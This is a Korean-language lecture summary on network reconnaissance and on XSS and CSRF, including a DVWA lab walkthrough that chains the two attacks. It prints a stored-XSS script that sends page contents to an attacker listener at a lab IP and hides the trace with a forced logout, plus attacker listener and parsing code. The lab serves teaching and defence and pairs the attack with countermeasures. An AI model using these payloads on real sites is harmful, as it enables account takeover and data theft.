

수업 내용 정리 보고서

작성일: 2026년 7월 20일

챕터 구성

- 네트워크 인프라 및 자산 정보 수집
- 웹 취약점 원리: XSS와 CSRF
- 연계 공격 실습 및 보안 대응 체계

네트워크 인프라 및 자산 정보 수집

보안 점검 및 취약점 분석의 첫 단계는 공격 대상이 되는 네트워크의 전체적인 모습과 그 안에 존재하는 가치 있는 자산들을 정확히 파악하는 것입니다. 이를 통해 공격 가능한 경로를 탐색하고, 보안 우선순위를 결정할 수 있는 기초 데이터를 확보하게 됩니다.

1. 네트워크 구조와 자산의 개념 이해

네트워크 인프라를 파악한다는 것은 단순히 장비의 개수를 세는 것이 아니라, 장비 간의 연결 관계와 데이터의 흐름을 이해하는 과정을 포함합니다.

네트워크 구조(Network Structure)

네트워크 내 장비들이 어떻게 연결되어 있는지, 데이터가 어떤 경로로 이동하는지, 그리고 네트워크가 어떤 구간(Subnet)으로 나누어져 있는지를 시각화한 정보입니다. 라우터, 스위치, 방화벽 등의 장비가 만드는 토폴로지(Topology)를 포함하며, 이를 통해 특정 구간의 격리 여부나 데이터 흐름의 병목 지점을 파악할 수 있습니다.

자산(Asset)의 분류

네트워크 내에서 보호해야 할 대상은 크게 세 가지 관점으로 분류하여 관리해야 합니다.

- 장비 자산(Hardware Assets):** 물리적 또는 가상화된 하드웨어 장치입니다. (예: 서버, PC, 프린터, 라우터, 스위치, 방화벽, 무선 AP 등)
- 서비스 자산(Service Assets):** 장비 위에서 동작하며 네트워크를 통해 제공되는 기능입니다. (예: 웹(HTTP/HTTPS), SSH, DNS, 데이터베이스(DB), 파일 공유 서비스 등)
- 정보 자산(Information Assets):** 서비스나 장비를 통해 다루어지는 핵심 데이터입니다. (예: 업무 데이터, 사용자 계정 정보, 로그 파일, 설정 파일 등)

2. 정보 수집 및 조사 절차

효율적인 점검을 위해 정보 수집은 단계별로 진행됩니다. 초기에는 공개된 정보를 활용하고, 점차 능동적인 스캐닝을 통해 내부 정보를 상세화합니다.

- 공개 정보 및 문서 조사:** 내부적으로 존재하는 네트워크 다이어그램, IP 주소 할당표, 서버 목록 등을 먼저 확인하여 기초 정보를 확보합니다.
- 네트워크 스캐닝(Network Scanning):** Nmap과 같은 도구를 사용하여 실제 네트워크에 활성화된 호스트(Host)와 열려 있는 서비스 포트를 확인합니다.
- 트래픽 분석(Traffic Analysis):** Wireshark나 tcpdump를 활용하여 실제 패킷을 캡처하고, 프로토콜의 종류와 데이터 흐름을 분석합니다.
- 자산 목록화 및 시각화:** 발견된 정보를 바탕으로 운영체제(OS), 서비스 버전, 중요도 등을 정리하고 네트워크 맵을 작성합니다.

3. 주요 조사 기술 및 도구

정보 수집 단계에서 활용되는 기술은 크게 공개 정보를 찾는 OSINT 방식과 직접 네트워크에 패킷을 보내 확인하는 스캐닝 방식으로 나뉩니다.

공개 정보 조사 (OSINT: Open Source Intelligence)

인터넷상에 공개된 정보를 수집하여 대상 조직의 범위를 파악하는 기법입니다. 마치 화재 감지 위성이 적의 위치를 파악하는 것과 유사한 원리입니다.

도구/기법	주요 용도 및 설명
whois	도메인 등록 정보, 네임서버, IP 주소 할당 정보를 확인합니다.
nslookup / dig	DNS(Domain Name System) 레코드를 조회하여 도메인과 연결된 IP 주소를 확인합니다.
Sublist3r / Amass	외부로 노출된 서브도메인을 탐색하여 공격 표면(Attack Surface)을 확장합니다.
Shodan / Censys	인터넷에 연결된 장비들의 공개 스캔 결과를 조회하여 서비스 정보를 확인합니다.
Google Dorking	검색엔진의 고급 검색 연산자를 사용하여 노출된 설정 파일, 문서, 취약한 페이지를 찾습니다.

네트워크 스캐닝 및 경로 추적

실제 네트워크 환경에서 호스트의 상태를 확인하기 위해 다음 도구들을 사용합니다.

- Nmap (Network Mapper):** 네트워크 스캔의 표준 도구입니다. 명령행 인터페이스(CLI) 방식뿐만 아니라 GUI 버전인 **Zenmap**을 통해 시각적으로 확인할 수 있습니다.
 - NSE (Nmap Scripting Engine):** 스크립트를 통해 서비스 취약점 점검이나 상세 정보를 자동으로 수집할 수 있는 강력한 기능입니다.
- Traceroute (tracert):** 목적지 IP까지 패킷이 거쳐가는 경로(라우터들의 목록)를 확인하여 네트워크 경로를 파악합니다.

4. 실무 가이드: Nmap 사용법 및 옵션

Nmap 사용 시 목적에 맞는 옵션 선택이 중요합니다. 아래는 실무에서 자주 사용되는 핵심 옵션입니다.

nmap [스캔 옵션] [대상 IP 또는 네트워크 대역]

옵션	설명 및 활용 사례
-sn	호스트 확인: 포트 스캔 없이 대상 네트워크 대역에서 응답하는 활성 호스트만 빠르게 확인합니다.
-sV	서비스 버전 확인: 열린 포트에서 동작 중인 서비스의 이름과 상세 버전 정보를 수집합니다.
-O	운영체제 추정: 대상 시스템의 OS 정보를 추정합니다. (관리자 권한 필요 가능성 있음)
-p	포트 지정: 특정 포트(예: -p 80,443) 또는 범위(예: -p 1-65535)를 지정하여 점검합니다.
-oN	결과 저장: 스캔 결과를 일반 텍스트 파일로 저장하여 나중에 참조할 수 있게 합니다.

[주의사항] Nmap을 이용한 스캔은 대상 네트워크에 부하를 줄 수 있으며, 허가받지 않은 환경에서의 스캔은 법적 문제가 될 수 있습니다. 반드시 승인된 범위 내에서만 수행하십시오.

5. 수집 정보와 취약점 분석의 연계

정보 수집의 최종 목적은 수집된 데이터를 바탕으로 실제 취약점을 찾아내는 것입니다. 수집된 정보는 다음과 같이 분석에 활용됩니다.

서비스 및 버전 정보를 통한 취약점 매칭

수집된 서비스 명칭과 버전 정보는 CVE(Common Vulnerabilities and Exposures)나 ExploitDB와 같은 데이터베이스와 대조됩니다. 특정 버전에서 알려진 취약점이 있다면, 이를 통해 공격 시나리오를 설계할 수 있습니다.

웹 서비스 자산 식별 시의 고려사항

스캐닝 결과 80(HTTP) 또는 443(HTTPS) 포트가 열려 있는 웹 서비스가 확인되면, 다음과 같은 웹 애플리케이션 취약점 점검이 필수적으로 뒤따라야 합니다.

- **XSS (Cross-Site Scripting):** 사용자의 브라우저에서 악성 스크립트가 실행되도록 하여 쿠키/세션 탈취 또는 키로깅을 수행하는 공격입니다.
- **CSRF (Cross-Site Request Forgery):** 사용자가 의도하지 않은 요청(예: 비밀번호 변경, 송금)을 웹 서버에 보내도록 유도하여 사용자의 권한을 도용하는 공격입니다.

이러한 웹 취약점은 네트워크 장비 자체의 취약점과는 성격이 다르지만, "어떤 서비스가 돌아가고 있는가"를 파악하는 자산 정보 수집 단계에서 식별되어야만 분석 대상에 포함될 수 있습니다.

6. 결과 기록 및 점검 체크리스트

수집된 정보는 체계적인 양식에 따라 정리되어야 다음 단계인 취약점 분석과 대응 전략 수립이 가능합니다.

결과 기록 양식 예시

항목	기록 내용 및 예시
IP 주소	대상 호스트의 IP (예: 172.16.0.34)
호스트 상태	Up (활성) 또는 Down (비활성)
열린 포트/서비스	포트 번호, 서비스명, 상세 버전 (예: 22/OpenSSH 7.6p1)
운영체제(OS)	추정되는 OS 종류 및 버전 (예: Linux Ubuntu 18.04)
중요도	자산의 가치에 따른 분류 (상 / 중 / 하)
후속 조치	패치 필요 여부, 불필요 포트 차단 등

실무 점검 체크리스트

- [] 점검 수행 전, 승인된 네트워크 범위(Scope)를 명확히 확인하였는가?
- [] 대상 네트워크 대역 내의 모든 활성 호스트 목록을 작성하였는가?
- [] 열린 포트와 함께 해당 서비스의 상세 버전 정보를 수집하였는가?
- [] 수집된 서비스 버전이 알려진 취약점(CVE)을 보유하고 있는지 확인하였는가?
- [] 웹 서비스가 확인된 경우, 웹 취약점 점검 대상으로 분류하였는가?
- [] 식별된 중요 자산(DB, 관리자 서버 등)에 대한 우선순위를 설정하였는가?

웹 취약점 원리: XSS와 CSRF

웹 보안의 핵심은 사용자(Client)의 브라우저와 웹 서버(Server) 사이에서 발생하는 요청과 응답을 보호하는 것입니다. 현대 웹 애플리케이션은 사용자의 상태를 유지하기 위해 세션(Session)과 쿠키(Cookie)를 사용하는데, 공격자들은 이 메커니즘을 악용하여 사용자의 권한을 도용하거나 악성 코드를 실행합니다. 그 대표적인 방법이 **크로스 사이트 스크립팅(XSS, Cross-Site Scripting)**과 **크로스 사이트 요청 위조(CSRF, Cross-Site Request Forgery)**입니다.

1. XSS와 CSRF의 비교 이해

두 취약점은 모두 사용자의 브라우저를 표적으로 삼는다는 공통점이 있지만, 공격의 최종 목적과 작동 방식에는 명확한 차이가 있습니다.

구분	XSS (Cross-Site Scripting)	CSRF (Cross-Site Request Forgery)
핵심 목표	악성 코드 실행 (사용자의 브라우저에서 자바스크립트 실행)	권한 도용 (사용자가 의도하지 않은 요청을 수행하게 함)
공격 대상	사용자의 브라우저 환경 및 데이터 (쿠키, 세션, 입력값 등)	사용자가 로그인된 웹 서비스의 기능 (비밀번호 변경, 송금 등)
데이터 탈취 여부	쿠키, 세션 ID, 키보드 입력값 등을 직접 탈취 가능	쿠키를 탈취하는 것이 아니라, 이미 존재하는 쿠키를 이용함
주요 공격 방식	게시판 등에 악성 스크립트를 삽입하여 실행 유도	악성 링크 클릭 유도 또는 숨겨진 태그(img 등)를 통한 자동 요청

[핵심 요약]

XSS는 사용자의 브라우저에 "나쁜 짓을 하는 코드"를 심는 것이고, CSRF는 사용자의 이름표(세션/쿠키)를 빌려 "나쁜 행동(요청)"을 시키는 것입니다.

2. XSS (Cross-Site Scripting): 스크립트 실행을 통한 정보 탈취

XSS는 공격자가 웹 사이트에 악성 자바스크립트 코드를 삽입하여, 일반 사용자가 해당 페이지를 열람할 때 코드가 사용자의 브라우저에서 실행되게 만드는 취약점입니다.

- 작동 원리:** 웹 애플리케이션이 사용자로부터 입력받은 데이터를 적절한 검증(Filtering) 없이 브라우저에 그대로 출력할 때 발생합니다.
- 실행 가능한 악성 행위:**
 - 세션 하이재킹(Session Hijacking):** document.cookie를 이용해 사용자의 세션 ID를 탈취하여 계정을 도용합니다.
 - 키로깅(Keylogging):** 사용자가 키보드로 입력하는 모든 내용을 가로채 해커의 서버로 전송합니다.
 - 페이지 변조:** 웹 페이지의 내용을 조작하여 피싱 사이트로 유도하거나 허위 정보를 노출합니다.

3. CSRF (Cross-Site Request Forgery): 의도하지 않은 요청의 위조

CSRF는 사용자가 자신의 의지와 상관없이, 이미 인증된 웹 애플리케이션에 특정 요청(예: 비밀번호 변경, 결제 등)을 보내도록 만드는 공격입니다.

- 작동 원리:** 사용자가 특정 웹 사이트에 로그인하여 세션이 유지되고 있는 상태에서, 공격자가 만든 악성 링크를 클릭하거나 악성 태그가 포함된 페이지에 접속하면 브라우저가 자동으로 해당 웹 사이트로 인증 정보(쿠키)를 포함한 요청을 보냅니다.
- 성립 조건:**
 - 사용자가 대상 웹 사이트에 로그인되어 있어야 함 (유효한 세션 존재).
 - 해당 웹 사이트의 요청 규격(URL 파라미터 등)이 예측 가능해야 함.
 - 웹 서버가 요청이 사용자의 의도에 의한 것인지 검증하는 절차가 없어야 함.

4. [실습 사례 분석] XSS와 CSRF의 연계 공격 (Integrated Attack)

실제 공격 환경에서는 하나의 취약점만 사용하기보다, 두 취약점을 연계하여 공격의 효과를 극대화합니다. 본 실습에서는 **XSS를 통해 정보를 수집하고, CSRF를 통해 계정 권한을 탈취하는** 시나리오를 다룹니다.

[시나리오 목표]

- 사용자가 게시판을 읽기만 해도 자동으로 비밀번호가 변경되도록 함 (CSRF).
- 비밀번호가 변경된 사용자의 계정명(ID)을 공격자 서버로 탈취함 (XSS).
- 사용자가 눈치채지 못하도록 로그아웃 시켜 흔적을 은폐함.

[단계 1] CSRF를 이용한 비밀번호 변경 (이미지 태그 우회)

공격자는 게시판에 다음과 같은 페이로드를 삽입합니다.

```

```

- 동작 원리:** 브라우저는 태그의 src 속성에 적힌 주소를 이미지 파일로 인식하여 자동으로 요청을 보냅니다. 이때 URL에 포함된 파라미터 (password_new=hacked123 등)가 서버로 전달되어 비밀번호가 변경됩니다.
- 스텔스 기능:** style="display:none;" 을 사용하여 화면에 깨진 이미지 박스가 보이지 않도록 숨깁니다.

[단계 2] XSS를 이용한 정보 수집 및 로그아웃 (스크립트 실행)

CSRF 요청과 함께 다음 스크립트를 실행하여 공격을 완성합니다.

```
<script>setTimeout(function(){
  var x=new XMLHttpRequest();
  x.open("POST","http://172.16.1.5:4444/leak");
  x.send("data="+encodeURIComponent(document.body.innerHTML));
  location.href="http://172.16.1.4/dvwa/logout.php"
},1000);</script>
```

- **지연 실행 (setTimeout):** CSRF 요청(비밀번호 변경)이 네트워크를 통해 서버에 도달할 시간을 벌기 위해 1초(1000ms)의 대기 시간을 둡니다. 이는 요청이 처리되기 전에 페이지가 이동해버리는 **레이스 컨디션(Race Condition)**을 방지하기 위함입니다.
- **데이터 탈취 (XMLHttpRequest):** 현재 페이지의 전체 HTML 내용(document.body.innerHTML)을 긁어와 공격자의 서버('http://172.16.1.5:4444/leak')로 전송합니다. 이를 통해 피해자의 계정명(Username)을 파악할 수 있습니다.
- **흔적 은폐 (location.href):** 데이터 전송 직후 사용자를 로그아웃 페이지로 강제 이동시켜, 사용자가 이상 행동을 감지하기 어렵게 만듭니다.

[단계 3] 공격자 리스너(Listener)의 동작

공격자는 파이썬(Python)으로 작성된 리스너 서버를 가동하여 탈취된 데이터를 수신하고 분석합니다.

```
# 공격자 서버의 핵심 로직 (정규식 활용)
match = re.search(r"<em>Username:</em>[^\A-Za-z0-9]*([A-Za-z0-9_-]+)", html_body, re.IGNORECASE)
if match:
    username = match.group(1).strip()
```

공격자 서버는 수신된 HTML 데이터에서 Username: 태그 뒤에 오는 실제 계정명을 **정규 표현식(Regular Expression)**을 사용하여 정밀하게 추출합니다.

[실무 포인트: CORS 대응]

공격자가 사용하는 리스너 서버 코드에는 Access-Control-Allow-Origin: * 헤더가 포함되어 있습니다. 이는 브라우저의 **SOP(Same-Origin Policy, 동일 출처 정책)**을 우회하여, 다른 도메인(DVWA 서버)에서 온 데이터 요청을 공격자 서버가 정상적으로 받아들이도록 허용하기 위한 조치입니다.

5. 보안 대책 및 방어 전략

[CSRF 방어: CSRF Token]

가장 효과적인 방어책은 **CSRF 토큰(CSRF Token)**을 사용하는 것입니다.

- **원리:** 사용자가 폼(Form)을 요청할 때마다 서버는 예측 불가능한 일회용 난수(Token)를 발행하여 HTML에 숨겨둡니다.
- **검증:** 사용자가 요청을 보낼 때 이 토큰을 함께 전송해야 하며, 서버는 수신된 토큰이 세션에 저장된 값과 일치하는지 확인합니다.
- **한계:** 만약 **XSS 취약점이 함께 존재한다면**, 공격자가 스크립트를 통해 DOM 내에 있는 CSRF 토큰 값을 읽어낼 수 있으므로 XSS 방어가 선행되어야 합니다.

[종합 점검 가이드]

보안 감사 및 개발 시 다음 항목을 반드시 확인해야 합니다.

점검 항목	점검 내용 및 기준
입력값 검증	사용자 입력값에 <script>, 등 HTML 태그가 포함되지 않도록 필터링하는가?
CSRF 토큰 적용	비밀번호 변경, 결제, 계정 정보 수정 등 중요 기능에 예측 불가능한 토큰을 적용하였는가?
중요 작업 재인증	민감한 작업 수행 시 기존 비밀번호를 다시 입력받는 등의 2차 인증 절차가 있는가? (주정통 AI 연계)
HTTP Method 사용	상태를 변경하는 요청(비밀번호 변경 등)을 URL에 파라미터가 노출되는 GET 방식이 아닌 POST 방식으로 처리하는가?

6. 학습 확인 질문

- Q1. CSRF 공격이 성공하기 위해 사용자의 브라우저에 반드시 필요한 정보는 무엇인가?
- Q2. XSS 공격을 통해 탈취한 데이터가 CSRF 토큰을 무력화할 수 있는 이유는 무엇인가?
- Q3. setTimeout 함수를 사용하여 공격 딜레이를 주는 기술적 이유는 무엇인가?

연계 공격 실습 및 보안 대응 체계

웹 보안 실무에서는 단일 취약점만을 이용하기보다, 서로 다른 취약점을 조합하여 공격의 목적을 달성하는 **연계 공격(Attack Chaining)**이 빈번하게 발생합니다. 이번 장에서는 웹 애플리케이션의 대표적인 취약점인 XSS(Cross-Site Scripting)와 CSRF(Cross-Site Request Forgery)를 연계하여, 사용자의 계정을 탈취하고 권한을 완전히 장악하는 과정을 실습을 통해 분석합니다.

1. 주요 웹 공격 개념 비교: XSS vs CSRF

공격의 성공을 위해서는 XSS와 CSRF의 작동 방식 차이를 명확히 이해해야 합니다. 두 공격 모두 사용자의 브라우저를 표적으로 삼는다는 공통점이 있지만, 공격의 궁극적인 목표와 메커니즘은 판이하게 다릅니다.

구분	XSS (Cross-Site Scripting)	CSRF (Cross-Site Request Forgery)
정의	사용자의 브라우저에서 악성 자바스크립트가 실행되게 하는 공격	사용자가 의도하지 않은 특정 URL로 HTTP 요청을 보내게 만드는 공격
주요 목표	악성 코드 실행 (쿠키/세션 탈취, 키로거 탑재 등)	사용자 권한 도용 (비밀번호 변경, 송금, 게시물 작성 등)
메커니즘	브라우저 내에서 스크립트를 직접 실행하여 데이터를 훔쳐옴	이미 로그인된 사용자의 유효한 세션(쿠키)을 그대로 이용함
핵심 차이	사용자의 정보를 탈취하는 데 초점	사용자의 의지를 왜곡하여 동작을 수행하는 데 초점

[실무 포인트] CSRF는 세션 정보를 탈취하는 것이 목적이 아닙니다. 이미 브라우저에 저장된 유효한 쿠키를 '그대로 이용하여' 서버가 사용자의 정상적인 요청으로 오인하게 만드는 것이 핵심입니다.

2. 연계 공격 시나리오 분석: 계정 탈취 및 권한 장악

단일 공격의 한계를 극복하기 위해, XSS와 CSRF를 결합하여 다음과 같은 고도화된 공격 시나리오를 구성합니다.

- [공격 목표]** 사용자의 계정명(ID)을 알아내고, 비밀번호를 해커가 설정한 값으로 변경한 뒤, 사용자를 강제로 로그아웃시켜 흔적을 은폐한다.
- [전제 조건]** 사용자가 로그인된 상태여야 하며, 공격자가 게시판에 악성 스크립트를 삽입(Stored XSS)할 수 있어야 한다.

가. [단계 1] CSRF를 이용한 스텔스 비밀번호 변경

사용자가 게시글을 읽는 순간, 화면에는 보이지 않지만 백그라운드에서 비밀번호 변경 요청이 수행됩니다. 이때 `<img>` 태그를 활용하여 사용자가 공격을 인지하지 못하도록 합니다.

```

```

- 이미지 태그 우회:** 브라우저는 `<img>` 태그의 `src` 속성에 적힌 주소를 이미지 파일로 인식하여 자동으로 GET 요청을 보냅니다.
- 스텔스 기능:** `style="display:none;"`을 적용하여 깨진 이미지 박스가 화면에 표시되지 않도록 숨깁니다.
- 취약점 원인:** 서버 측에서 비밀번호 변경 시 CSRF 토큰 검증이나 기존 비밀번호 재확인 과정이 없기 때문에 발생합니다.

나. [단계 2] XSS를 이용한 정보 수집 및 세션 파기

비밀번호 변경이 완료된 직후, 사용자의 계정 정보를 탈취하고 흔적을 지우기 위해 자바스크립트 코드를 실행합니다.

```
<script>setTimeout(function(){
  var x=new XMLHttpRequest();
  x.open("POST","http://172.16.1.5:4444/leak");
  x.send("data="+encodeURIComponent(document.body.innerHTML));
  location.href="http://172.16.1.4/dvwa/logout.php"
},1000);</script>
```

- 지연 실행 (setTimeout):** 1,000ms(1초)의 대기 시간을 두어, 앞선 CSRF 요청이 네트워크를 통해 서버에 완전히 처리될 수 있도록 **레이스 컨디션(Race Condition)**을 방지합니다.
- 정보 유출 (XMLHttpRequest):** 현재 페이지의 전체 HTML 소스(`document.body.innerHTML`)를 훔쳐와 공격자의 리스너 서버로 전송합니다. 이를 통해 페이지 내에 표시된 사용자 ID를 추출할 수 있습니다.
- 흔적 은폐 (location.href):** 데이터 전송이 끝나면 즉시 사용자를 로그아웃 페이지로 이동시켜, 사용자가 자신의 계정 상태를 점검할 기회를 박탈합니다.

3. 공격자 리스너(Listener) 및 데이터 파싱 원리

공격자는 탈취된 HTML 데이터를 수신하고, 그 안에서 유의미한 정보를 추출하기 위해 파이썬 기반의 리스너 서버를 운영합니다.

가. 리스너의 주요 기능 및 CORS 대응

브라우저는 보안 정책인 **SOP(Same-Origin Policy)**에 따라 다른 도메인으로의 데이터 전송을 제한합니다. 이를 우회하기 위해 공격자의 리스너 서버는 다음과 같이 **CORS(Cross-Origin Resource Sharing)** 허용 헤더를 응답에 포함해야 합니다.

```
def do_OPTIONS(self):
    self.send_response(200)
    self.send_header("Access-Control-Allow-Origin", "*") # 모든 도메인의 요청 허용
    self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
    self.send_header("Access-Control-Allow-Headers", "Content-Type")
    self.end_headers()
```

나. 정규표현식을 이용한 계정명 추출

수신된 HTML 데이터에서 사용자 ID를 정확히 낚아채기 위해 정규표현식(Regular Expression)을 사용합니다.

```
match = re.search(r"<em>Username:</em>[^\A-Za-z0-9]*([A-Za-z0-9_-]+)", html_body, re.IGNORECASE)
```

위 패턴은 Username: 태그 뒤에 오는 공백, 따옴표 등을 무시하고 실제 계정명 문자열만 그룹으로 추출합니다.

4. 보안 대응 체계 및 방어 전략

연계 공격은 여러 취약점을 동시에 공략하므로, 방어 전략 역시 다각도로 수립되어야 합니다.

가. CSRF 방어: CSRF Token 도입

가장 효과적인 방법은 서버가 요청 시마다 예측 불가능한 일회용 난수인 **CSRF Token**을 발행하는 것입니다.

- **작동 원리:** 사용자가 폼을 요청할 때 서버는 난수를 생성하여 숨겨진 필드(<input type="hidden">)에 심어둡니다. 요청 시 이 토큰이 일치하지 않으면 서버는 요청을 거부합니다.
- **주의사항:** XSS 취약점이 존재하는 환경에서는 공격자가 자바스크립트를 통해 이 토큰마저 탈취할 수 있으므로, XSS 방어가 선행되어야 합니다.

나. XSS 방어: 입력값 필터링 및 출력 인코딩

- **입력값 검증:** 사용자로부터 입력받는 모든 데이터에 대해 화이트리스트 방식의 필터링을 수행하여 <script>, 등의 태그 입력을 차단합니다.
- **출력 인코딩:** 데이터를 브라우저에 출력할 때 특수문자를 HTML 엔티티(예: < → <)로 변환하여 스크립트가 실행되지 않게 합니다.

다. 종합적인 보안 강화

- **중요 기능 재인증:** 비밀번호 변경, 결제 등 민감한 기능 수행 시에는 기존 비밀번호를 다시 입력하게 하는 이중 인증 절차를 도입합니다.
- **SOP 및 CORS 관리:** 웹 서버의 정책을 엄격하게 관리하여 불필요한 Cross-Origin 요청을 제한합니다.

5. 실무 및 시험 대비 핵심 요약

정보보안기사(주정통) 및 OWASP Top 20 관점에서의 핵심 점검 항목입니다.

관련 항목	핵심 내용	연계 실습 적용 사례
주정통 CF	크로스사이트 요청 위조	 태그를 통한 비밀번호 변경 요청
주정통 XS	크로스사이트 스크립팅	<script>를 통한 ID 탈취 및 로그아웃
주정통 AI	불충분한 인증 절차	세션만으로 비밀번호 변경이 가능한 취약성
OWASP A01	Broken Access Control	권한 검증 미흡으로 인한 CSRF 발생
OWASP A07	Identification and Authentication Failures	중요 기능 수행 시 재인증 부재

[최종 점검 체크리스트]

1. 중요 기능(비밀번호 변경 등)에 CSRF Token이 적용되어 있는가?
2. 사용자 입력값에 대해 HTML 태그 필터링이 이루어지는가?
3. 민감한 요청 시 기존 비밀번호를 재확인하는 절차가 있는가?
4. 서버의 CORS 정책이 필요한 범위로만 제한되어 있는가?